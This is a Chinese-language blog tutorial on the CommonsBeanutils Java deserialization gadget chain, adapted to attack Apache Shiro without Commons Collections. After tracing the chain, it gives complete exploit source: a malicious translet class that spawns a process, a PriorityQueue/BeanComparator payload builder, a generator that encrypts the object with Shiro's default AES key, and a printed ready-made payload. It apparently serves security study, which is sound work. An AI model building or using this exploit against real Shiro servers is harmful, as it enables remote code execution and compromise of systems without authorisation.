Java反序列化(八) | CommonsBeanutilsShiro

2023-05-17 10:13:41 浏览数 (1)

CommonsBeanutilsShiro

需要知道

  • 我们使用优先队列构造的CommonsBeanutils链默认情况下是需要依赖CC包的, 所以在Shiro原生的情况下我们需要对初步构造的CB链进行一些修改
  • ysoserial 中的CommonsBeanutils1.java我们是不可用的, 因为里面使用的依赖包有:
    1. commons-beanutils:commons-beanutils:1.9.2
    2. commons-collections:commons-collections:3.1
    3. commons-logging:commons-logging:1.2

    可见使用到CommonsCollections包, 此外还有一个问题就是这里用的CB依赖版本为1.9.2 , 但是我们在Shiro-1.2.4中默认的CB依赖版本为1.8.3 。

JavaBean & PropertyUtils

CB包中的PropertyUtils实际上是为了优化Java的Bean结构的而其中的getProperty函数通过有两个对象, 第一个为Object bean, 第二个为String name, 作用是获取bean对象中的name参数, 但是Javabean结构获取对象的方法并不是直接获取参数, 而是通过getName()这种方式获取到成员变量。所以PropertyUtils.getProperty就是执行bean中的getName函数并将得到的结果返回.

相当于:

代码语言:javascript复制
public static Object getProperty(Object bean, String name){
    return bean.getName();
}

需要注意的一点是PropertyUtils.getProperty执行的bean.getName是将我们传入的第二个参数name中的第一个字母专为大写,例如:

代码语言:javascript复制
执行代码:
TemplatesImpl template = new TemplatesImpl();
Object end = PropertyUtils.getProperty(templates, "outputProperties");
实际执行:
Object end = templates.OutputProperties();

PropertyUtils.getProperty(new TemplatesImpl(),"outputProperties")代码获取outputProperties的执行过程:

org.apache.commons.beanutils.PropertyUtils#getProperty

代码语言:javascript复制
    org.apache.commons.beanutils.PropertyUtilsBean#getProperty

            org.apache.commons.beanutils.PropertyUtilsBean#getNestedProperty

                    org.apache.commons.beanutils.PropertyUtilsBean#getSimpleProperty

                            org.apache.commons.beanutils.PropertyUtilsBean#getPropertyDescriptor    

                            org.apache.commons.beanutils.PropertyUtilsBean#getReadMethod

                            org.apache.commons.beanutils.PropertyUtilsBean#invokeMethod     

                            #就是上面的invokeMethod进行了反射调用了TemplatesImpl#OutputProperties


CC3的TemplatesImpl(后)

CC3中可动态加载类的TemplatesImpl就有getOutputProperties 函数, 这个可以说是非常理想了, 因为从上面我们可以知道我们可以通过CB包中的PropertyUtils#getProperty调用到TemplatesImpl#getOutputProperties, 而在这里面由调用了TemplatesImpl自己的newTransformer函数。我们知道, 执行了TemplatesImpl#newTransformer实际上就是进入了CC3, 所以可以作为参考点。

代码语言:javascript复制
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties 
public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
        }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

因为TemplatesImpl#getOutputProperties符合JavaBean的获取内容的函数格式, 所以当我们使用PropertyUtils#getProperty函数获取TemplatesImpl对象的outputProperties成员时就会反射调用到TemplatesImpl#getOutputProperties然后调用TemplatesImpl#newTranformer执行CC3的反序列化调用部分造成任意类的动态加载。

CB中调用getProperty(中)

在上面我们找到了调用链的最后环节:通过调用TemplatesImpl#newTranformer动态加载类, 而进入这个最后环节的入口就是PropertyUtils#getProperty方法, 所以我们下一步需要找到调用这个方法的入口。

来到CommonsBeanutils中寻找一下调用了PropertyUtils#getProperty的函数方法然后在CB包中的BeanComparator#compare调用了getProperty, 所以下面找一下哪里调用了compare函数

优先队列调用compare(前)

早在CC2的时候我们就找过了compare的调用方法: 优先队列PriorityQueue反序列化的时候调用了compare函数, 所以我们可以直接使用优先队列作为反序列化的出发点

java.util.PriorityQueue#readObject

代码语言:javascript复制
    java.util.PriorityQueue#heapify

            java.util.PriorityQueue#siftDownUsingComparator

            code: comparator.compare((T) c, (T) es[right]) > 0)

CommonsBeanutils(前 中 后) – Gadget

所以我们可以将优先队列作为触发点进行三级跳板执行代码:

  1. 优先队列PriorityQueue反序列化执行comparator.compare进入CB
  2. org.apache.commons.beanutils.BeanComparator#compare
  3. BeanComparator#compare执行getProperty 反射调用TemplatesImpl#getOutputProperties
  4. 执行TemplatesImpl#newTransformer 进入CC3的动态加载恶意类环节执行恶意代码

Gadget

PriorityQueue.comparator = com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

Gadget:

java.util.PriorityQueue#readObject

​ java.util.PriorityQueue#heapify ​ java.util.PriorityQueue#siftDownUsingComparator

​ org.apache.commons.beanutils.BeanComparator#compare

​ org.apache.commons.beanutils.PropertyUtils#getProperty

​ TemplatesImpl#getOutputProperties

​ TemplatesImpl#newTransformer

注:TemplatesImpl为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

CommonsBeanutilsShiro

如果直接构造CB链去打Shiro的话会失败并且在后台看到报错显示无法加载CC依赖中的一个类, 这是因为我们使用默认的单参数构造函数的话会在后面使用生成一个CC包中的对象并将这个对象序列化, 所以在后面反序列化的时候加载这个CC对象就需要用到CC的依赖包,但是我们在没有任何添加的情况下是没有CC依赖的,所以就导致失败报错, 这个CC包依赖中的对象是org.apache.commons.beanutils.BeanComparator

ComparableComparator的3个构造函数:

代码语言:javascript复制
    public BeanComparator() {
        this((String)null);
    }

    public BeanComparator(String property) {
        this(property, ComparableComparator.getInstance());
    }

    public BeanComparator(String property, Comparator comparator) {
        this.setProperty(property);
        if (comparator != null) {
            this.comparator = comparator;
        } else {
            this.comparator = ComparableComparator.getInstance();
        }

    }

我们如果选择单参数构造函数就会使用CC依赖中的对象所以反序列化失败报错, 而不会执行我们的命令, 但是我们可以看到第三个构造函数, 这里我们是可以自己传入一个Comparator对象代替原本的CC依赖对象的。

解决方法:

我们选择第三个构造函数

代码语言:javascript复制
    public BeanComparator(String property, Comparator comparator) {
        this.setProperty(property);
        if (comparator != null) {
            this.comparator = comparator;
        } else {
            this.comparator = ComparableComparator.getInstance();
        }

    }

但实际上Comparator是一个接口, 所以我们需要传入一个它的实现类

此外我们还选择的这个实现类还必须继承了serializable,所以我们取两者交集即可。

查找方法交集:

  1. 找出Comparator接口的实现类作为class1
  2. 找出继承了serializable的实现类作为class2
  3. 将class1和class2分别写入文件然后通过python脚本找到它们的交集

得到的满足条件的交集类会有很多, 我们选择其中一个即可, 这里我们使用com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare, 最后得到代码:

POC

下面是项目结构, 我们最终运行的是Get_poc.java中的main函数

/POC_macker/CBShiro/Evil.java

代码语言:javascript复制
package POC_macker.CBShiro;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public Evil() throws Exception {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime.getRuntime().exec("calc.exe");
    }
}

POC_macker/CBShiro/CommomsBeanutilsShiro.java

代码语言:javascript复制
package POC_macker.CBShiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommomsBeanutilsShiro {
    public static PriorityQueue getPayloadObject() throws Exception {
        return get_PriorityQueue(
                get_BeanComparator(), get_TemplatesImpl(
                        get_Evil_clazz(Evil.class)
                )
        );
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static CtClass get_Evil_clazz(Class Class) throws NotFoundException {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Class.getName());
        return clazz;
    }

    public static TemplatesImpl get_TemplatesImpl(CtClass clazz) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
//        templates.newTransformer();
//        PropertyUtils.getProperty(templates,"outputProperties");
        return templates;
    }

    public static BeanComparator get_BeanComparator() throws Exception {
        BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());
        System.out.println("已选择使用AttrCompare构造BeanComparator,无需CC依赖");
//        BeanComparator beanComparator = new BeanComparator();
//        System.out.println("使用默认构造函数创建BeanComparator,需要CC依赖");
        setFieldValue(beanComparator,"property","outputProperties");
//        beanComparator.compare(templates,1);
        return beanComparator;
    }

    public static PriorityQueue get_PriorityQueue(BeanComparator beanComparator, TemplatesImpl templates) throws Exception {
        PriorityQueue priorityQueue = new PriorityQueue();
        setFieldValue(priorityQueue,"comparator",beanComparator);
        setFieldValue(priorityQueue,"size",2);
        Object[] ints = {templates,templates};
        setFieldValue(priorityQueue,"queue",ints);
//        priorityQueue.poll();
        return priorityQueue;
    }

    public static byte[] get_ObjectToByteArray(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        objectOutputStream.close();
        return byteArrayOutputStream.toByteArray();
    }
    public static void serialize(Object object,String name) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(name));
        objectOutputStream.writeObject(object);
        objectOutputStream.flush();
        objectOutputStream.close();
    }
    public static void serialize(Object object) throws IOException {
        serialize(object,"./poc.bin");
    }

    public static void unserialize(String name) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(name));
//        想要测试的话注释掉下面的反序列化函数readObject即可
        Object get_object = objectInputStream.readObject();
    }
    public static void unserialize() throws IOException, ClassNotFoundException {
        unserialize("./poc.bin");
    }
}

POC_macker/CBShiro/Get_poc.java

代码语言:javascript复制
package POC_macker.CBShiro;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.util.PriorityQueue;

public class Get_poc {
    public static void main(String[] args) throws Exception {
        PriorityQueue payloadObject = CommomsBeanutilsShiro.getPayloadObject();

        byte[] payloadByte = CommomsBeanutilsShiro.get_ObjectToByteArray(payloadObject);

        String payload = encrypt(payloadByte,"kPH bIxk5D2deZiIxcaaaA==");

        System.out.println(payload);
    }

    public static String encrypt(byte[] plaintext, String _key){
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode(_key);
        ByteSource ciphertext = aes.encrypt(plaintext, key);
        return ciphertext.toString();
    }

}
代码语言:javascript复制
IH5Fn9UQsFmbY6uqZWXXJXXixsTVrRjfd1cESYvvn8NsXvLf1SwkTePkFDLqJysIrr MFdc9ZqFMf47nYZkzL1CS i2x6TAWgX2DTEt4Fw1ZrkPfAIOrUbzJ518JxhHQ117pqDXka9h3xgROFEJruE7/8Rnfs8Tqnb4klV1R ojdIx0DUhwId2 Dc25c7Har4jTIWNa8fPkRCqdOdk7fhrv MVjNfTO483t9USSw5YMSV 2zgZZanuEg5BUaStmRvP1uKNVTzM5GPt vtQSzC5vOuTwOe/QMqXEkX8xDY Gpi7mN6jrdQE4ZvQe1zgeiFJEcQozN3/Ka7KIauARIaL1Z2VebV5LyHGoQyHleFY4Es7DZLUOw10BfprJW 0TtWyHToPscWxVA/dMYRbBOgwIvR4PDGQeaY5Mum3mthmfkpK/UUpzEKQ14WG2dvBdBEUAZ59EREj8Sb13DswkPzSvOyJLD9VSV9Tph4EiIqfX5FUd9Rgp6zxyBMhgNeqIZmJNSCe9T48jZWCk2VQNE8P0QyNbXrLKjqBFv/7M9s7pWsoidCTu4 v8qmyXwG6UQO0KxYsLaPnCoskZhuagQ5p/AYiCRzxhC9Z4OvEk9Nv2jCte358xYf0eWx1X2jCfX eB4eSZaPm1IkDnVnfk1aswyl6I7FsJYOOf1XT5VIBtDbL HdEy qRNsn BD2rOde19 iMS/mHI23j BjRmjRs0hZ23biRwrLKbp7JTLaD73ygSavMw7oPSYF2HrQsnN ncNOFsOiKvo85yq5VqD4wk/jKvl ukELA8Jx47yg9o2r9pbNxJOzmuV90es9jvjdAK spjRJYU9hsCacnpE85VdwyUxnXCHKT2KyVQFxTHK7Iv/oF9TLr5cyyTP8 NP4v0UyxPY5xjsaGK8bipJEczUfs4YPhnPBhIgdSYd/yqEFC9fPJcpuuVj2QVEZgdO/ESwh4RzaYcYE/x300zAddv99p6eTbPko0swuvcWsU6mTt4Oh8QkAcNaotBk47FrrftGDFjaXA47fuj3p0rc4G23v1KY6/VT8SvChyNIbUHPxSXnyPAXEb7gH/ qSmKg2  qi2OfEbK3 MWqaptRbzn2DkVcpe6yQi7VwFy nZjvFbPrEiehjOu rSoINgcp97UZ02kRbdrhyOV27tpSX jGpFma4MtH3b8n/ARhbLZH10YZV0vOaRY4rUEzIFslox0oJMfO732XvgdJKFgItcWPGdqYYYoLjF7LFIuex9DkEUTRR iqCHTgTjI9iv4Ay4kDJOPEwR7 aCDx2tweS19QmUR5EKTjY3sYIJqPXYHL6Pn44Q9lQlRRGLy3LzBkDB7fWvip1JULThubSnPu2IuhwvN5ihG7sFmsrE8WgG999vj89DYKMZBVImH7dwigMNS4Y8cexTwNWZqXz4KgEebfkdgr0sfQuFanxiIDJOYyioGcD7yNgrP2CSYt0wRN3IT2WotuWpYokGZblkfym0tP9vyZUipFTPNXhhSwVrcTtvZ/bfkYviKSejRquUTFN7w3k9FDCYBP1uNNYE4veEdXH6kg4qMrJg8paSFZ6z f/wmHlzme4 t/x8Pq9QTWh8G3LiBhY1zlmlxJzjG3/pQTVfhCrcCM/lL55tTE7LpI0oLC2q5uBSHY4zMRHnW8cigQCl7naSx30p1Or40fJJ8ZXqXv0YX0AYgUVLG757VLi mUo5Xy9EzbRVM6C4n7KNmNo ePWExTOCZlvYhNtSENadmqgJdjGczF3nB5O6e6SbQfOvDyicJ5sDpsEtITEBQDFMDVbv2MIjmtUXD5spAuyPm5QfGSY67QpTRIfepdyENUAEDlsc/q4CyoV8qdBREd8KrAYfFf 6PjbzH /k1wlkNc/hklVBpUGdu2AfcbOdLfI XYNuJAooKh8hShw9/QT5UlXSZvjrPs3zqBsOiEyakEYIBt86wH60fKz1kTbo36DxKLOvfJ6tAtttGhHsNhu59E9AJ3Lq1gOY834ou39CPRHI6ZnmPw0EkbwQwYdrbX0BUc8zttrzu7RACP700UwTyDnm5BYdTCk5tE87/8NlekzHGybDyCXs08aIlzYuTZrmTsvc7NGt4w PX8TbsaW9ZtxI8/KIFkelZHSIBQXbIY9GAX6FvHcb/6OQE 2ogImlLnniPZxcIVOIQfloCS2uE406oupEZp0WAuzw3S0lowqD46a9A1jwcwtmqXz1YRAQyX3LyQzLHE7z6VbKMzJuc2KCqrAlB2fkeS5tcqwTF/6HpxncDMw8IZwWEkrcu20WMoQzSkGwtLbax/l9E8R2f6gLUMWe3MNgisRJ4vHrKgfFfSOu2zcGdlfZ AcvylykenxorfUYO4nZZjJqM32YrG0KZuGiNWNf3PrW5SuGvkPOlpLhB8Kuspm/1WovAjLI3FmWEHmfqkNBZwd SWh9hf3YDeSqWU0wOFwPq/xg29 FTqHqH ijqXpvO5VKiM5vPcIoMXFantMTRWpbYXLyJPPtZkN6rNDR1JKzHHNCY/cJKzRdEQ07ocWiPJFhmuUJS4wEs6nva2gFUr4JZIh9SOSP689QMGxN7QLU/ BNQn8gC4k/pWGecPr4x17x pJ39d3q0FxR0uy4F05cp zBOKiOtFsuOXSd1opNzX TzHUIU3 4Vw1SSvewRm4b7J9FRgQkInUfe5Iwoa0vI76JlqjVgQ2iq3uq okaBLjl8GM0GiwBl0IIMv4qF87D0Gd6R5j3nV1ul10fIjUseE0eCIMBhgxVXiIDX72AcpTscL2VHkuMXeT7pef4HCznDU1J8w4OyFh9BStW bJb1aiRDDhmf9rXiTjn9ZGaejQxMoGf9RnpcMadqrRnYfW0vow0/NcGFojE/u3gnX
代码已

CC2 && CB && CC3 间的关系

CC2和CB的链子几乎一样,就是中间部分由CC包中的TransformingComparator换成了CB包中的

啊呃嗯。。。所以说,实际上CB链和CC2的起始点和终点都是一样的,区别在于调用compare函数的comparator对象不一样, 实际上CB环节只有中间部分是自己的:

代码语言:javascript复制
CC2: 优先队列 PriorityQueue
CB : BeanComparator
CC3: TemplatesImpl

CommonsCollections2

Gadget:

CC2 : PriorityQueue.comparator = org.apache.commons.collections.comparators.TransformingComparator

Gadget:

java.util.PriorityQueue#readObject java.util.PriorityQueue#heapify java.util.PriorityQueue#siftDownUsingComparator org.apache.commons.collections.comparators.TransformingComparator#compare

​ org.apache.commons.collections.Transformer#transform

在CC2中我们就是使用优先队列PriorityQueue并且让它的comparator成员为org.apache.commons.collections.comparators.TransformingComparator ,

TransformingComparator的compare方法会调用transform函数

代码语言:javascript复制
org.apache.commons.collections.comparators.TransformingComparator#compare

public int compare(Object obj1, Object obj2) {
    Object value1 = this.transformer.transform(obj1);
    Object value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

在这里写一下CC的一些出发点吧:

  1. HashMap.readObject
  2. PropertyUtils.readObject
  3. AnnotationInvocationHandler => LazyMap
  4. AnnotationInvocationHandler => TransformedMap
  5. HashTable.readObject
  6. BadAttributeValueExpException

0 人点赞